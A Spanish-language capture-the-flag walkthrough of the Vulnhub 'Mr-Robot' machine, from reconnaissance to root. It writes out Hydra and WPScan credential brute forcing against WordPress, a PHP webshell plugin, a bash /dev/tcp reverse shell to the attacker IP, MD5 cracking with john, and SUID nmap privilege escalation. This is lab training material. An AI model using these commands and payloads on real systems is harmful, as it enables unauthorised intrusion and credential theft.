Mr-Robot – Vulnhub Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: Vulnhub
Resumen Link to heading
Mr-Robot
es una máquina de dificultad fácil (y gratis), utilizando Linux
, de la plataforma Vulnhub
. Luego de un scan inicial sobre los puertos TCP
ports, éste nos muestra que la máquina víctima esta corriendo un servidor web. Gracias a un rápido análisis de directorios, notamos que este sitio web está utilizando el gestor de contenido WordPress
. Dado que Wordpress
muestra distintos mensajes en intentos de logueo que varían en si un usuario existe o no (incluso si se usa una contraseña incorrecta), podemos aprovechar estos mensajes de error para buscar por usuarios que sí existen utilizando un diccionario previamente hallado en la máquina víctima. Una vez encontrado un usuario podemos volver a utilizar el diccionario encontrado para encontrar también la contraseña de este usuario y así obtener credenciales válidas para entrar en el panel de WordPress
. Una vez dentro de este panel, somos capaces de agregar un plugin malicioso propio a WordPress
, el cual nos permite ganar acceso inicial a la máquina víctima. Ya hecha la intrusión, somos capaces de encontrar un hash de un usuario y crackearlo a través de un Bruteforce Password Cracking
utilizando el diccionario rockyou.txt
; para así pivotear a este nuevo usuario. Finalmente, vemos que hay un archivo SUID
cuyo propietario es root
el cual es inusual y puede ser abusado para ganar así acceso como el usuario root
.
User / Usuario Link to heading
Empezando un scan con Nmap
buscando puertos TCP
abiertos muestra lo siguiente:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.20.1.120
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:02 -04
Initiating ARP Ping Scan at 01:02
Scanning 10.20.1.120 [1 port]
Completed ARP Ping Scan at 01:02, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 01:02
Scanning 10.20.1.120 [65535 ports]
Discovered open port 443/tcp on 10.20.1.120
Discovered open port 80/tcp on 10.20.1.120
Completed SYN Stealth Scan at 01:03, 26.39s elapsed (65535 total ports)
Nmap scan report for 10.20.1.120
Host is up, received arp-response (0.00038s latency).
Scanned at 2024-08-13 01:02:38 -04 for 26s
Not shown: 65532 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
443/tcp open https syn-ack ttl 64
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)
Del scan anterior puedo ver 2 puertos abiertos: 80
HTTP
y 443
HTTPs
:
❯ sudo nmap -sVC -p80,443 10.20.1.120 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 01:06 -04
Nmap scan report for 10.20.1.120
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:67:F5:05 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
Usando WhatWeb
sobre el sitio web muestra lo siguiente:
❯ whatweb -a3 http://10.20.1.120
http://10.20.1.120 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.20.1.120], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]
de donde, tristemente, no puedo ver mucha info de utilidad.
Visitando http://10.120.1.120
(la IP de la máquina víctima) muestra un simple mensaje:
Allí puedo ver que la página deja seleccionar múltiples “comandos” como opciones. Seleccionar cada una de ellas muestra distintos posts y videos sobre la serie “Mr. Robot”. En este punto decido buscar por directorios a través de un Brute Force Directory Listing
(listar directorios por fuerza bruta) con la herramienta Gobuster
usando un diccionario de SecLists:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.20.1.120 -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.20.1.120
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 234] [--> http://10.20.1.120/images/]
/index.php (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/blog (Status: 301) [Size: 232] [--> http://10.20.1.120/blog/]
/rss (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://10.20.1.120/0/]
/feed (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/video (Status: 301) [Size: 233] [--> http://10.20.1.120/video/]
/image (Status: 301) [Size: 0] [--> http://10.20.1.120/image/]
/atom (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/atom/]
/wp-content (Status: 301) [Size: 238] [--> http://10.20.1.120/wp-content/]
/admin (Status: 301) [Size: 233] [--> http://10.20.1.120/admin/]
/audio (Status: 301) [Size: 233] [--> http://10.20.1.120/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login (Status: 200) [Size: 2657]
/wp-login.php (Status: 200) [Size: 2657]
/css (Status: 301) [Size: 231] [--> http://10.20.1.120/css/]
/rss2 (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/license (Status: 200) [Size: 309]
/license.txt (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 239] [--> http://10.20.1.120/wp-includes/]
/js (Status: 301) [Size: 230] [--> http://10.20.1.120/js/]
/wp-register.php (Status: 301) [Size: 0] [--> http://10.20.1.120/wp-login.php?action=register]
/Image (Status: 301) [Size: 0] [--> http://10.20.1.120/Image/]
/wp-rss2.php (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/]
/rdf (Status: 301) [Size: 0] [--> http://10.20.1.120/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://10.20.1.120/wp-admin/]
/%20 (Status: 301) [Size: 0] [--> http://10.20.1.120/]
/wp-admin (Status: 301) [Size: 236] [--> http://10.20.1.120/wp-admin/]
Gracias a estos directorios noto que el sitio está corriendo con WordPress
. Visitando el directorio http://10.20.1.120/wp-admin
sólo lo confirma:
Adicionalmente, noto que existe un archivo robots.txt
. Revisando ésta con cURL
en consola nos muestra:
❯ curl -s http://10.20.1.120/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
donde puedo ver 2 potenciales archivos: fsocity.dic
y key-1-of-3.txt
.
Si chequeo http://10.20.1.120/fsocity.dic
noto que este es un archivo con muchísimas palabras. Podemos visitar esta dirección url a través de un browser de internet como Firefox
y se nos descargará este archivo. Me doy cuenta de que este archivo tiene unas 858 160 líneas/palabras:
❯ cat fsocity.dic | wc -l
858160
El archivo key-1-of-3.txt
muestra un texto:
❯ curl -s http://10.20.1.120/key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
el cual no es más que la primera “flag” de esta máquina.
Y en este punto, y dado que el sitio web está usando WordPress
, devido usar la herramienta WPScan
contra éste. Primero, escandeando por plugins:
❯ wpscan -e ap --plugins-detection aggressive --url http://10.20.1.120 -t 40
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://10.20.1.120/ [10.20.1.120]
[+] Started: Tue Aug 13 01:36:17 2024
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache
| - X-Mod-Pagespeed: 1.9.32.3-4523
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://10.20.1.120/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.20.1.120/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] The external WP-Cron seems to be enabled: http://10.20.1.120/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
| Found By: Emoji Settings (Passive Detection)
| - http://10.20.1.120/0a0fd7f.html, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.3.1'
| Confirmed By: Meta Generator (Passive Detection)
| - http://10.20.1.120/0a0fd7f.html, Match: 'WordPress 4.3.1'
[+] WordPress theme in use: twentyfifteen
| Location: http://10.20.1.120/wp-content/themes/twentyfifteen/
| Last Updated: 2023-11-07T00:00:00.000Z
| Readme: http://10.20.1.120/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 3.6
| Style URL: http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.20.1.120/wp-content/themes/twentyfifteen/style.css?ver=4.3.1, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:29:34 <=====================================================================================> (104860 / 104860) 100.00% Time: 00:29:34
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] akismet
| Location: http://10.20.1.120/wp-content/plugins/akismet/
| Latest Version: 5.3.1
| Last Updated: 2024-01-17T22:32:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.20.1.120/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
<SNIP>
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Aug 13 02:06:24 2024
[+] Requests Done: 104918
[+] Cached Requests: 55
[+] Data Sent: 27.47 MB
[+] Data Received: 33.071 MB
[+] Memory used: 434.199 MB
[+] Elapsed time: 00:30:06
de donde veo algunos plugins que nos podrían ser útiles si es que están desactualizados y presentan vulnerabilidades.
Recuerdo también que versiones de WordPress
más antiguas muestran el mensaje Invalid username
cuando proveemos un usuario que no existe en el directorio /wp-login
. Pero si el usuario existe, incluso si la contraseña de éste no es correcta, el mensaje que se muestra es otro. Por ejemplo, si probamos con un usuario que sabemos que no existe tendremos en http://10.20.1.120/wp-login
:
Mientras que, como se dijo, si un usuario existe, pero la contraseña proveída no es correcta, usualmente no obtenemos este mensaje. Podemos jugar con esta respuesta de la página web usando Hydra
tratando de encontrar usuario por “fuerza bruta” sólo basándonos en el texto Invalid username
y el diccionario hallado previamente gracias a robots.txt
. Noto que hay algunas líneas duplicadas en el archivo fsocity.dic
, de manera que guardamos todas aquellas líneas que no estén repetidas/sean únicas en un nuevo archivo:
❯ sort -u fsocity.dic > sorted_fsocity.dic
Realizar este pequeño paso, sobre todo si se trabaja con fuerza bruta, nos ahorrará un montón de tiempo. Esto dado que pasamos de casi 800 000 líneas a tan sólo 11 000:
❯ cat sorted_fsocity.dic | wc -l
11451
Para ver cuál es la petición que se envía al servidor cuando hacemos una petición de logueo por /wp-login.php
es que intercepto la petición usando Burpsuite
. Intercepto la petición enviada luego de probar con el usuario user
y la contraseña password
. Realizando esto tenemos:
POST /wp-login.php HTTP/1.1
Host: 10.20.1.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: http://10.20.1.120
DNT: 1
Connection: close
Referer: http://10.20.1.120/wp-login.php
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1
log=user&pwd=password&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.20.1.120%2Fwp-admin%2F&testcookie=1
donde la parte importante es la data de la petición POST
que se encuentra en la parte inferior del texto anterior. También me doy cuenta que si sólo envío como datos:
log=<user>&pwd=<password>
la petición HTTP
interceptada también funciona.
Ahora usaremos Hydra
. Queremos realizar peticiones HTTP
hasta que la respuesta del servidor NO contenga el string Invalid username
. Podemos hacer esto corriendo:
❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -V -F
donde:
-L
es un archivo conteniendo los potenciales usuarios. En este caso es el archivofsocity.dic
que no contiene líneas repetidas.-p
es una contraseña random con la que intentamos loguearnos al panel de login deWordPress
.http-post-form
es el método a usar porHydra
para performar el ataque de fuerza bruta."/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username"
es la data por métodoPOST
a mandar al servidor. Primero especificamos la ruta/wp.login.php
. Luego de los primeros dos puntos:
, especificamos la data a enviar por métodoPOST
; la variable^USER^
será reemplazada por los valores que se encuentran en cada línea del archivo pasado con la flag-L
, mientras que^PASS^
será reemplazado con el valor proveído a través de la flag-p
. Luego de los segundos dos puntos:
ponemos el texto que NO queremos que esté presente en la respuesta del servidor.-V
es para activar la opción de verbose y así ver las peticiones enviadas.-F
da la opción de que cuandoHydra
tenga un código exitoso entonces pare las iteraciones y detenga el programa.
Luego de un tiempo de correr esto encontramos algo:
❯ hydra -L sorted_fsocity.dic -p testrandompassword 10.20.1.120 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid username" -V -F
<SNIP>
[ATTEMPT] target 10.20.1.120 - login "emails" - pass "testrandompassword" - 5487 of 11452 [child 15] (0/0)
[ATTEMPT] target 10.20.1.120 - login "embed" - pass "testrandompassword" - 5488 of 11452 [child 7] (0/0)
[80][http-post-form] host: 10.20.1.120 login: elliot password: testrandompassword
[STATUS] attack finished for 10.20.1.120 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-13 03:21:00
de donde tenemos un usuario: elliot
Tal cual se mencionó anteriormente, si ponemos el usuario elliot
y una contraseña cualquiera en /wp-login.php
el mensaje de error es diferente:
Ahora, puedo usar este usuario para intentar un Brute Force Password Login
(intentar loguearnos por fuerza bruta). Para esto utilizaré de nuevo la herramienta WPScan
y el diccionario con las palabras no repetidas como intento de contraseña:
❯ wpscan --password-attack xmlrpc -t 20 -U elliot -P sorted_fsocity.dic --url http://10.20.1.120
<SNIP>
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - elliot / ER28-0652
Trying elliot / escape Time: 00:01:58 <============================== > (5640 / 17091) 32.99% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Aug 13 03:25:40 2024
[+] Requests Done: 5813
[+] Cached Requests: 6
[+] Data Sent: 2.883 MB
[+] Data Received: 3.8 MB
[+] Memory used: 311.969 MB
[+] Elapsed time: 00:02:09
donde encontramos credenciales válidas: elliot:ER28-0652
Usando estas credenciales en el directorio /wp-login
funciona y podemos acceder al panel de WordPress
:
Ahora el plan es tratar de inyectar código malicioso en archivos editables que podamos tener o ver si podemos instalar/crear archivos. Para esto podemos clickear en la opción Plugins
al lado izquierdo y luego en Add New
. Si realizamos esto deberíamos ver algo como lo siguiente:
Ahora decido crear un plugin PHP
“malicioso” en un archivo que llamaré CMD.php
con el siguiente código:
<?php
/*
Plugin Name: CMD Plugin
Version: 1.0.0
Author: gunzf0x
Author URI: wordpress.org
License: GPL2
*/
system($_REQUEST["CMD"]);
?>
y lo comprimo en un archivo .zip
el cual llamaré webshell.zip
corriendo en mi máquina:
❯ zip webshell.zip CMD.php
adding: CMD.php (deflated 8%)
De vuelta al portal de WordPress
, clickeo en el botón Upload Plugin
en la parte superior del sitio web y selecciono mi archivo .zip
malicioso. Ahora deberíamos ver algo como lo siguiente:
y clickeamos en Install Now
.
Si esto funcionó ahora deberíamos ver:
donde dice que nuestro plugin ha sido instalado exitosamente.
Dado que mi plugin se llama webshell
con un archivo CMD.php
dentro de éste, éste debería de estar localizado en la ruta /wp-content/plugins/webshell
por defecto de WordPress
(donde se almacenan los plugins). Si chequeo con cURL
si este archivo existe:
❯ curl -I http://10.20.1.120/wp-content/plugins/webshell/CMD.php
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 03:52:15 GMT
Server: Apache
X-Powered-By: PHP/5.5.29
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0, no-cache
Content-Type: text/html; charset=UTF-8
vemos que nuestro plugin malicioso está allí.
Chequeamos si podemos correr código remotamente usando cURL
también. Por ejemplo, si queremos correr el comando id
:
❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Me preparo para entablar una reverse shell poniéndome en escucha con netcat
por el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
y me envío una reverse shell usando cURL
a través del plugin malicioso:
❯ curl -s -X GET -G 'http://10.20.1.120/wp-content/plugins/webshell/CMD.php' --data-urlencode 'CMD=bash -c "bash -i >& /dev/tcp/10.20.1.115/443 0>&1"'
donde 10.20.1.115
es mi IP de atacante y 443
es el puerto en el cual ya me encuentro en escucha con netcat
.
Así es como obtenemos una shell como el usuario daemon
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.20.1.115] from (UNKNOWN) [10.20.1.120] 58162
bash: cannot set terminal process group (1715): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-content/plugins/webshell$ whoami
daemon
Noto que hay un usuario llamado robot
en la máquina:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
drwxr-xr-x 2 root root 4096 Nov 13 2015 robot
y dentro de su directorio home
puedo ver un archivo que se ve prometedor:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -la /home/robot
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
llamado password.raw-md5
.
Leyendo este archivo nos muestra un hash:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Guardo este hash y nombre de usuario en un archivo llamado robot_hash
(simplemente copio el contenido del archivo encontrado y lo guardo en mi máquina de atacante en otro archivo) e intento performar un Brute Force Password Cracking
(crackear contraseñas por fuerza bruta) con JohnTheRipper
(john
). Uso, además, la herramienta hash-identifier
para identificar el tipo de hash; el cual nos muestra que es un hash de tipo MD5
:
❯ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: c3fcd3d76192e4007dfb496cca67e13b
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>
Por ello usamos el formato Raw-MD5
para john
. Es así como intentamos crackear la contraseña usando el diccionario rockyou.txt
(descargable desde este link):
❯ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt robot_hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (?)
1g 0:00:00:00 DONE (2024-08-13 04:20) 50.00g/s 2035Kp/s 2035Kc/s 2035KC/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
De esta forma encontramos nuevas credenciales: robot:abcdefghijklmnopqrstuvwxyz
Dado que no tenemos ningún servicio para acceder a la máquina víctima (como SSH
), es que decido pivotear internamente al usuario robot
utilizando la contraseña crackeada:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ su robot
Password:
robot@linux:/opt/bitnami/apps/wordpress/htdocs$ whoami
robot
Donde podemos leer la segunda flag de usuario en el directorio /home/robot
:
robot@linux:~$ cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959
Root Link to heading
Finalmente, buscando por archivos SUID
cuyo propietario sea root
:
robot@linux:~$ find / -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
tenemos que /usr/local/bin/nmap
es uno que no es muy común.
Basados en GTFOBins
para Nmap, las versiones de Nmap
que tienen la opción --interactive
son desde la 2.02
a la 5.21
. Si revisamos qué versión de Nmap
es la que tiene instalada la máquina víctima tenemos:
robot@linux:~$ /usr/local/bin/nmap -V
nmap version 3.81 ( http://www.insecure.org/nmap/ )
La versión es 3.81
, por lo que deberíamos de tener esta opción interactiva con Nmap
.
Es así como podemos usar Nmap
en modo interactivo e invocar una shell tal cual se indica en GTFOBins
:
robot@linux:~$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !/bin/sh
# whoami
root
Donde hemos corrido el comando !/bin/sh
dentro de la opción interactiva de Nmap
para spawnear una shell. ¡Y eso es todo!
Podemos leer la última key/flag:
# cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
~Happy Hacking